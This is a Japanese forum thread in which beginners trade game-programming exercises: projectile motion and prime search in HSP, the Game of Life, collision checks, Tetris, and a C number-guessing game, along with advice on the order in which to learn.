07/03/16 22:46:24 ObBbH61d.net
課題10でけた。こんなんでどうでしょう。
URLリンク(gamdev.org)
>644
サンキュ。ただ、全く思いつかない。角度とか。
ライフゲーム。面白そうだが、まだなんだか良くわからない。
円形判定もうーん。sinとか使うのだろうか。うーん。詰まった。
まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、
やっぱ詰まったからなんかな。
646:名前は開発中のものです。
07/03/17 00:32:33 AFO1L2/D.net
ddim angle,0 :ddim angle_rad,0 : ddim speed,0 : ddim g,0 : ddim x,0 : ddim y,0: ddim vx,0 : ddim vy,0
angle=15.0 : speed=5.0 : g=0.1
mes "速さ" : input speed : mes "角度" : input angle
button gosub "発射",*main
stop
*main
x=0.0 : y=400.0
angle_rad=angle*3.14159/180.0;cos,sinの変数はラジアンなのでラジアンに直す
vx=cos(angle_rad)*speed;x方向初期速度=速さ×cos(角度)
vy=-sin(angle_rad)*speed;y方向初期速度=速さ×sin(角度)、また上向きが正なので×-1
repeat 1000
pos x,y : mes "○"
x+=vx : vy+=g : y+=vy
await 20
loop
return
647:名前は開発中のものです。
07/03/17 00:40:55 AFO1L2/D.net
全部実数型にする必要なかったかな。まあいいや。
角度が分からんと言うのがよく分からんがこれいじったりしてまた考えてくれ。
>課題10
おお。ええんじゃないの。ゲームになってるね。
>ライフゲーム
は意外と簡単だった思う
>円形判定
は円の方程式x^2+y^2=r^2を使うんじゃないかと。
>まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、
>やっぱ詰まったからなんかな。
詰まったからというか、詰まらなくなったからというか。
いろんな原因で作りたいと思う気持ちがなくなってっちゃうんでしょうね。
648:名前は開発中のものです。
07/03/18 10:07:48 lgnZfCsC.net
つ リージョン
649:名前は開発中のものです。
07/03/19 04:09:59 KNd9OD8J.net
URLリンク(gamdev.org)
こんなんで良ければライフゲムでけた。
>646
そう多分俺が知りたかったのはこのcos,sinを使い方なんだと思う。
単純にx分にY分を足しただけならいいんだけど、
初速のベクトルに角度をつけるにはどうすれば良いのかや、
角度をつけた場合にベクトルからどうやってy分を足し引きすれば良いかが、
よくわからなかった。
↓のベクトルがあって\(斜め)のベクトルがあって
その二つを足したものを表示するということが。
まだ理解が不十分だけど、参考になった。トン。
>647
ライフゲーム、確かにプログラム的には意外と簡単なのかも。
でも、やたら長い条件式で、カンマがピリオドになってたりでエラー原因がわからず、
そして、elseの使い方がまだいまいちであるために、想定どおり動かなかったりと、
頭をかきまくった。でも、なんか面白いね。眺めてて面白い。
あと、その円の方程式はどっかで見たような式だ・・・。いつ見た、おれ。
これをどう使うのかはまだピンと来ない。もう少し考えてみる。
まぁどのみちこういう課題がちょちょいとできるようになったら、
このスレ卒業なんだろうね。早く卒業したいものだ(´・ω・`)
650:名前は開発中のものです。
07/03/19 22:56:11 +J8qMsT3.net
おーライフゲームできてるやん。すごいすごい。
>カンマがピリオドになってたり
あるあるw
651:名前は開発中のものです。
07/03/21 18:59:56 dTeu4lZk.net
円のあたり判定できたよー。
一応、4方向分条件付けをした。
でも弾が1ドットなら、条件は一つ分で十分だよね?
エッジ加工?ってなんかよくわからん。
ソフトも。
モザイクって、ぱっと思いつくのは例えばその部分の色情報を取得して、
その色で、ある大きさの箱を描くのを何回かやるって感じになるのかな。
まず絵を調達しなきゃだゎ。
652:名前は開発中のものです。
07/03/22 00:11:37 wB5CUOCW.net
>円のあたり判定できたよー。
オメデトン。ペース速いね。
>一応、4方向分条件付けをした。
>でも弾が1ドットなら、条件は一つ分で十分だよね?
えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。
>エッジ加工?ってなんかよくわからん。
俺もよく知らないけど輪郭抽出でぐぐるといろいろ出てくるみたい。
>ソフトも。
ソフトは俺もまったく分からん。
画像処理の課題はゲーム製作とはちょっと関係が薄い気がする。
>モザイク
四角ごとに仕切って色の平均をとって塗りつぶすみたい。
653:名前は開発中のものです。
07/03/22 05:03:52 LPymi19I.net
>652
>えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。
俺のは○が動くんだけど、弾と自分が動かしてる四角には幅があるから、
○の右上下、左上下で当たる時の条件付けがちょっと変わるはずと。
>四角ごとに仕切って色の平均をとって塗りつぶすみたい
・・・・。どうやんだろ。まだ、やったことない領域だから、
どの命令を使うかきちんと把握しなきゃだめそうだ。
654:名前は開発中のものです。
07/03/23 01:18:56 GKwkgx4A.net
なるほど。自機が○で弾は点かと思ってた。自機四角か。
画像処理はあんまり詳しくないので
他の先生の登場を待ってください。ごめんなさいね。
655:名前は開発中のものです。
07/04/04 09:47:03 BbjO+U02.net
javaでslg作りたいキチガイです。
課題1
URLリンク(gamdev.org)
buttonとかlayoutとかさっぱり…疲れた
656:名前は開発中のものです。
07/04/04 09:56:18 BbjO+U02.net
>>655
0〜9までの数になってたorz
修正
URLリンク(gamdev.org)
657:名前は開発中のものです。
07/04/05 03:22:08 juxaiBkl.net
HSPを勉強中なので、素数問題に挑戦してみた。
素数の出し方がよくわからないから総当り&最初いんちき。
screen 0,450,400 : font "MS ゴシック",12 : objmode 2
so = "" : max = 10000 : maxs = 1000 : a = 2
mesbox so,450,320
pos 12,333 : mes "try" : pos 50,330 : input max,100,20,5
pos 220,330 : button gosub "start",*gogo
pos 12,358 : mes "get" : pos 50,355 : input maxs,100,20,5
stop
*gogo
if btn : a = max + 1 : btn = 0 : return
sdim so,max*4
objprm 2,"stop" : objprm 0,so : btn = 1 : so = "" : a = 2 : s = 0 : d = 0 : len = 0
repeat max
repeat a,1
c = a\cnt : if c = 0 : s++ : if s > 2 : break
loop
if s < 3{
d++ : sa = strf("%5d",a)
poke so,len,sa : len += strsize
if d \ 10 = 0{
poke so,len,"\n" : len += strsize
title "" + cnt
}else{ poke so,len,", " : len += strsize }
}
s = 0 : a++ : if (a > max) or (d >= maxs) : break
wait 0
loop
objprm 0,so : objprm 2,"start" : btn = 0 : title " get = " + d
return
658:名前は開発中のものです。
07/04/05 09:48:52 F5eNq3r+.net
同じHsp初心者なはずなのに、なにがどうなってるのか解読できん。
俺の素数プログラムは偉くシンプルなのにな。
こういう見やすい感じのつくれるようになりたいけど、さっぱりなんだよな。
最近はやる気起きないし。
659:名前は開発中のものです。
07/04/07 15:27:26 7tS8COUW.net
URLリンク(gamdev.org)
Delphiで数当て作りました
660:名前は開発中のものです。
07/04/11 23:27:29 hGtX8W0q.net
課題の1〜11までやったんで段階的学習に移ろうと思うんだが
15
インベーダー
テトリス
ブロックくずし
オセロ
ぷよぷよ
パックマン
マリオ
ギャラガ
この順番でおk?
661:名前は開発中のものです。
07/04/13 03:50:36 DE3aw73g.net
最終的に何が作りたいかにもよるけど、だいだいOK
662:名前は開発中のものです。
07/04/13 07:00:29 ePt0UiZ0.net
>>661thanks!
申し遅れました>>655です
javaでSLG作ろうと思ってるdqnです
以前に、基本だけ勉強してSLG作成に突撃したことがあるんだけど、
クラス数が多くなって管理しきれなくなって玉砕w
あせらず、ゲーム作りってのを学んで、それから再挑戦するつもり
じゃあ15から行ってくるノシ
663:名前は開発中のものです。
07/04/13 07:11:48 HSdmSo3i.net
664:名前は開発中のものです。
07/04/15 20:45:16 /fPrY/bJ.net
>>660
テトリスとブロックくずしは逆でもいいかもな
って遅いか
665:名前は開発中のものです。
07/04/15 22:21:11 XmVefahd.net
俺もDXライブラリ使って660に書いてある
課題やってみるかな。
666:名前は開発中のものです。
07/04/16 18:38:23 DHmGTth8.net
>>664
遅くない
テトリスで詰まってるorz
下、左右への移動可能判定ワケワカメ
レスサンクス
気分転換にブロック崩しから先にやってみるノシ
667:名前は開発中のものです。
07/04/17 03:31:39 xnJXx47A.net
移動先にブロックや壁があるかどうか、だと駄目なのか?
668:名前は開発中のものです。
07/04/17 20:27:52 DgPcYp5y.net
僕はテトリスの方が簡単だと思いますが、どうだろうか。
669:名前は開発中のものです。
07/04/18 06:25:53 H53kNm7B.net
一番簡単なのはRPGだったりするけどなw
670:名前は開発中のものです。
07/04/18 12:42:11 4KCSkIQC.net
fcのdqは何とかなりそうだけど
sfcのffとかrsとか死にそう
671:名前は開発中のものです。
07/04/18 22:32:17 v99y4oaM.net
フラグ管理だけじゃねーの?
672:名前は開発中のものです。
07/04/19 08:29:12 3lC0Cy6I.net
>>670
まぁ、ドラクエタイプのRPGは典型的な小中学生向けプログラムだね。
むかーし昔、80年代のパソコン少年たちはまずドラクエもどきを作って遊んだものだ。
673:名前は開発中のものです。
07/04/19 08:35:34 wm8Zzz6B.net
シューティングはゲームプログラムの基礎がいっぱい詰まってるぞ
674:名前は開発中のものです。
07/04/21 04:29:18 4gr+tzZx.net
マインスイーパもいいよ
サンプルは誰でも持ってるし、イベントドリブン型のアプリ設計とか
再帰を使ったアルゴリズムとかもあるし、初心者の実力アップにはいい教材。
queueを使って再帰をやめるとどうなるか、とか凝りだしたらおもしろい。
>>672
俺も昔、N**-BASICで、IFとGOTOだけでアドベンチャーゲーム作った事がある。
紙とペンでフラグ管理をちゃんとして、あとは移動と戦闘を作れば
dqタイプは楽かもね。
675:名前は開発中のものです。
07/05/05 17:14:02 D2oIcwh+.net
>>667
亀だが…
左に移動するときならブロックの左端と、既に固定されたブロックや壁との衝突判定を行おうとしていた
その左端をどう導出したらいいのかで詰まってた
4x4のブロックのフィールド全部で判定すればいいんだねーorz
アホでした。
今はオセロに挑戦中…
676:名前は開発中のものです。
07/06/20 13:42:19 8K3dmP9x.net
オセロ難しくはないがめんどい
677:名前は開発中のものです。
07/07/12 19:01:47 BNvwAZPq.net
wikiの段階的学習をやろうと思うんだけど
ゴリゴリ作って晒すのはこのスレでおk?
678:名前は開発中のものです。
07/07/12 19:02:55 kvp3cKLa.net
晒しage
679:名前は開発中のものです。
07/07/24 02:22:27 sikuFIAE.net
>>677
おk
680:名前は開発中のものです。
07/07/27 00:08:19 CWSFY+9/.net
横スクロールのアクションゲームを作れるようになるには
どれくらいかかる?
681:名前は開発中のものです。
07/07/27 00:12:36 Zd3sdNnp.net
今どれくらい出来るかにもよるよ。
1週間あればとりあえずシステムだけなら出来ると思う。
682:名前は開発中のものです。
07/07/27 00:55:18 1ly+L1dQ.net
早い段階で作れるようになる
683:名前は開発中のものです。
07/07/28 13:23:39 PcfzSmjm.net
画面出入力
キー入力
ファイル読み書き
演算
これを(どれか一つもしくは複数)満たすように簡単なお題を出していけば、基本何でも作れそうだが
684:名前は開発中のものです。
07/07/28 21:16:20 VUtYyNMw.net
もっと整理してみた
画面表示(キャラと背景)
入力(キーかマウス)
演算(当たり判定)
ファイル読み書きは少し後でいいんでない?
685:683
07/07/28 21:40:46 UeZm28Yq.net
上の講義のサンプル見ると、テトリスの得点を保存させるとか、オセロの盤面を保存させるとか
ちょっとした事だけでも分かると夢が膨らむかなぁと思って。
直ぐに必要になるものでもないから後でもいいね
686:名前は開発中のものです。
07/07/30 11:28:11 6LwwN6qr.net
夢がひろがりんぐ
すたれたなこれも・・・
687:名前は開発中のものです。
07/07/31 02:25:43 DUqyrB+j.net
ぷよぷよはくっつきまで表示できるようになれば合格かなぁ
688:名前は開発中のものです。
07/07/31 14:07:18 OcT/rTQJ.net
ぷよの場合は、何個くっついてるか?の判定ができれば合格じゃね?
689:名前は開発中のものです。
07/08/22 21:17:36 ZVS3wfyE.net
はっきり言ってくっつくとかさっぱり分からないまま放置。
ライフゲームまではやったんだがなぁ。
690:名前は開発中のものです。
07/11/26 00:11:38 0u+2SUoR.net
過疎ってるので使わせてもらおうかな・・。
とりあえず
URLリンク(gamdev.org)
段階的学習!
を参考にしてテトリスを作ってみようかと思います。
691:名前は開発中のものです。
08/03/31 01:57:42 gUB5EALr.net
プログラミングの知識ほぼゼロですがC言語に挑戦してみようと思います。
690の「段階的学習!」のコメント欄によると
>一番の最初には数当てゲーム。その次にマスターマインドとか。この辺から始めないとな -- 2005-11-25 (金) 02:10:27
とあるので、まず数当てゲームの作成に取り組んでみます。
692:名前は開発中のものです。
08/03/31 06:10:02 6Xmv80aV.net
雑魚晒しage
693:名前は開発中のものです。
08/04/06 03:23:16 3FIXnopP.net
>>691じゃないけど数当てゲーム作った
scnafで%cを使うと無限ループになるけどなんで?
//数当てゲーム
#include <stdio.h>
#include <stdlib.h>
int main()
{
int gameover = 0;
int seikai = 0;
int kaitou = 0;
char replay = 'y';
char buf[2];
while(replay=='y')
{
printf("1-9の数を直感で当てます。\n");
seikai = rand() % 9 + 1;
while(kaitou != seikai)
{
printf("1-9の値を入力して[ENTER]を入力:");
scanf("%d", &kaitou);
}
printf("正解です!!\nもう一度プレイしますか?[y/n]\n");
scanf("%s", &buf);
replay=buf[0];
}
return 0;
}
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
3916日前に更新/292 KB
担当:undef